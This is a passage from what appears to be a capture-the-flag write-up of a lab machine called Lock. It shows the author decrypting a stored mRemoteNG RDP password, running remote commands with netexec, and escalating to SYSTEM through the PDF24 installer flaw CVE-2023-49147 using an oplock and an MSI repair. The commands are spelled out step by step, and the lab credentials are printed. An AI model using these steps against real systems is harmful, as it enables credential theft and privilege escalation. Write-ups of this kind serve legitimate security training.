<Node Name="RDP/Gale" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="a179606a-a854-48a6-9baa-491d8eb3bddc" Username="Gale.Dekarios" Domain="" Password="TYkZkvR2YmVlm2T2jBYTEhPU2VafgW1d9NSdDX+hUYwBePQ/2qKx+57IeOROXhJxA7CczQzr1nRm89JulQDWPw==" Hostname="Lock" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
</mrng:Connections>
There’s a connection for Gale.Dekarios to connect to the host Lock over RDP on 3389. The password is stored encrypted.
Decrypt Password
I showcased multiple ways to decrypt passwords from mRemoteNG back in 2019 in Bastion, including writing my own Python script to do it. In 2025, there are many public scripts made for this. I’ll grab the this one, clone it, and run it against the file:
oxdf@hacky$ uv run /opt/mremoteng-decrypt/mremoteng_decrypt.py -rf config.xml
Username: Gale.Dekarios
Hostname: Lock
Password: ty8wnW9qCKDosXo6
RDP
netexec
netexec
recently added the ability to run commands over RDP:
Wanna see something cool about RDP and NetExec ? pic.twitter.com/2h2cLwAVlt
— mpgn (@mpgn_x64) July 7, 2025
Seems like a fun thing to try here:
oxdf@hacky$ netexec rdp 10.129.234.64 -u gale.dekarios -p ty8wnW9qCKDosXo6 -x "type C:\\users\\gale.dekarios\\desktop\\user.txt"
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] Y
RDP 10.129.234.64 3389 LOCK Windows 10 or Windows Server 2016 Build 20348 (name:LOCK) (domain:Lock) (nla:False)
RDP 10.129.234.64 3389 LOCK [+] Lock\gale.dekarios:ty8wnW9qCKDosXo6 (Pwn3d!)
RDP 10.129.234.64 3389 LOCK [+] Executing command: type C:\users\gale.dekarios\desktop\user.txt with delay 5 seconds
RDP 10.129.234.64 3389 LOCK [+] Waiting for clipboard to be ready...
RDP 10.129.234.64 3389 LOCK [+] Clipboard is ready, proceeding with command execution
RDP 10.129.234.64 3389 LOCK 17e0844a************************
It reads the flag :)
RDP Session
I’ll run xfreerdp /u:gale.dekarios /p:ty8wnW9qCKDosXo6 /v:10.129.234.64:3389 +clipboard
to get an RDP session, and it works:

user.txt
is here as well:

Shell as SYSTEM
Enumeration
On the desktop there are shortcuts for mRemoteNG and PDF24. Opening mRemoteNG shows no saved connections. I can confirm that by finding the confCons.xml
file:
PS C:\Users\gale.dekarios\AppData\Roaming\mRemoteNG> cat .\confCons.xml
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="cAtqNd+DCe9vkHsFg8e3wxP7d5IkENeUiK+43JVHtRVtkY0EjkGEeA37qeEZFZjcnotghJTMwuKalATtfp7cQX6G" ConfVersion="2.6" />
PDF24 is a free PDF creation and tools suite. It’s installed in C:\Program Files
:
PS C:\Program Files> ls
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/15/2025 6:02 PM Amazon
d----- 12/27/2023 10:26 AM Common Files
d----- 12/27/2023 10:53 AM Git
d----- 4/15/2025 5:56 PM Internet Explorer
d----- 5/8/2021 1:20 AM ModifiableWindowsApps
d----- 12/28/2023 11:24 AM Mozilla Firefox
d----- 12/28/2023 11:29 AM PDF24
d----- 4/15/2025 5:24 PM VMware
d----- 12/28/2023 5:46 AM Windows Defender
d----- 8/7/2025 9:02 PM Windows Defender Advanced Threat Protection
d----- 4/15/2025 5:56 PM Windows Mail
d----- 4/15/2025 5:56 PM Windows Media Player
d----- 5/8/2021 2:35 AM Windows NT
d----- 4/15/2025 5:56 PM Windows Photo Viewer
d----- 5/8/2021 1:34 AM WindowsPowerShell
There’s a binary pdf24.exe
in that directory, and the version is 11.15.1:
PS C:\Program Files\PDF24> Get-ChildItem .\pdf24.exe | Format-List VersionInfo
VersionInfo : File: C:\Program Files\PDF24\pdf24.exe
InternalName: PDF24 Backend
OriginalFilename: pdf24.exe
FileVersion: 11.15.1
FileDescription: PDF24 Backend
Product: PDF24 Creator
ProductVersion: 11.15.1
Debug: False
Patched: False
PreRelease: False
PrivateBuild: False
SpecialBuild: False
Language: English (United States)
CVE-2023-49147
Background
PDF24 has a changelogs page. I’ll look at the versions just after 11.15.1, and find an interesting line in 11.15.2:

CVE-2023-49147 has an official description of:
An issue was discovered in PDF24 Creator 11.14.0. The configuration of the msi installer file was found to produce a visible cmd.exe window when using the repair function of msiexec.exe. This allows an unprivileged local attacker to use a chain of actions (e.g., an oplock on faxPrnInst.log) to open a SYSTEM cmd.exe.
That sounds exactly like something I would like.
There’s more detail on this Packet Storm post. The issue is that the installer, running as SYSTEM, will call another binary, pdf24-PrinterInstall.exe
, which opens (typically briefly) in a new cmd.exe
window. This program will open and write to a log file (C:\Program Files\PDF24\faxPrnInst.log
).
If I can create an oplock on that file, the installer process will hang waiting for access. While that window is exposed, I can abuse it to get another cmd.exe
running as SYSTEM.
Exploit
I’ll grab a copy of SetOpLock.exe
from the Google Project Zero symboliclink-testing-tools repo. I can copy it from the file explorer in my VM into the RDP session. Now I’ll lock the log file:
PS C:\Users\gale.dekarios> .\SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r
Now the file is locked and won’t be able to be opened.
There’s no MSI file in C:\Program Files\PDF24
, but there is a hidden _install
directory in the root of the drive:
PS C:\> ls -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 12/28/2023 6:17 AM $Recycle.Bin
d--h-- 4/15/2025 5:36 PM $WinREAgent
d--hs- 4/15/2025 6:02 PM Config.Msi
d--hsl 12/27/2023 6:14 PM Documents and Settings
d----- 12/27/2023 11:11 AM Gitea
d----- 4/15/2025 5:56 PM inetpub
d----- 8/16/2025 9:57 AM Microsoft
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/15/2025 5:24 PM Program Files
d----- 12/28/2023 11:24 AM Program Files (x86)
d--h-- 8/7/2025 10:48 AM ProgramData
d--hs- 12/27/2023 6:14 PM Recovery
d--hs- 12/27/2023 6:14 PM System Volume Information
d-r--- 12/28/2023 6:14 AM Users
d----- 8/7/2025 9:02 PM Windows
d--h-- 12/28/2023 11:23 AM _install
-a-hs- 8/15/2025 12:55 PM 12288 DumpStack.log.tmp
-a-hs- 8/15/2025 12:55 PM 1207959552 pagefile.sys
It has the installer:
PS C:\_install> ls
Directory: C:\_install
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/28/2023 11:21 AM 60804608 Firefox Setup 121.0.msi
-a---- 12/28/2023 5:39 AM 43593728 mRemoteNG-Installer-1.76.20.24615.msi
-a---- 12/14/2023 10:07 AM 462602240 pdf24-creator-11.15.1-x64.msi
I’ll open that directory in Explorer and double click the installer. I’ll hit next and on the next screen hit “Repair”:

On the next screen, “Repair” again. It will pop up and ask about if I want to close PDF24 Backend, and I don’t think it matters what I pick here. I’ll select “Close the applications and attempt to restart them.”.
Alternatively, I can also run:
PS C:\_install> msiexec.exe /fa .\pdf24-creator-11.15.1-x64.msi
Towards the end of the repair, it will pop open a window running pdf24-PrinterInstall.exe
which just hangs:

I’ll right-click on the top bar:

On selecting Properties, the next box has the configuration for cmd.exe
:

I’ll click the link for “legacy console mode” at the bottom. It pops up asking how to open it:

I need to select something that isn’t IE or Edge, so Firefox. This opens Firefox (running as SYSTEM):

Ctrl-o will open the open dialog, where I’ll enter “cmd.exe” in the top bar:

On hitting enter, it opens a terminal running as SYSTEM:

I’ll grab the root flag:
C:\Users\Administrator\Desktop>type root.txt
7302e2f3************************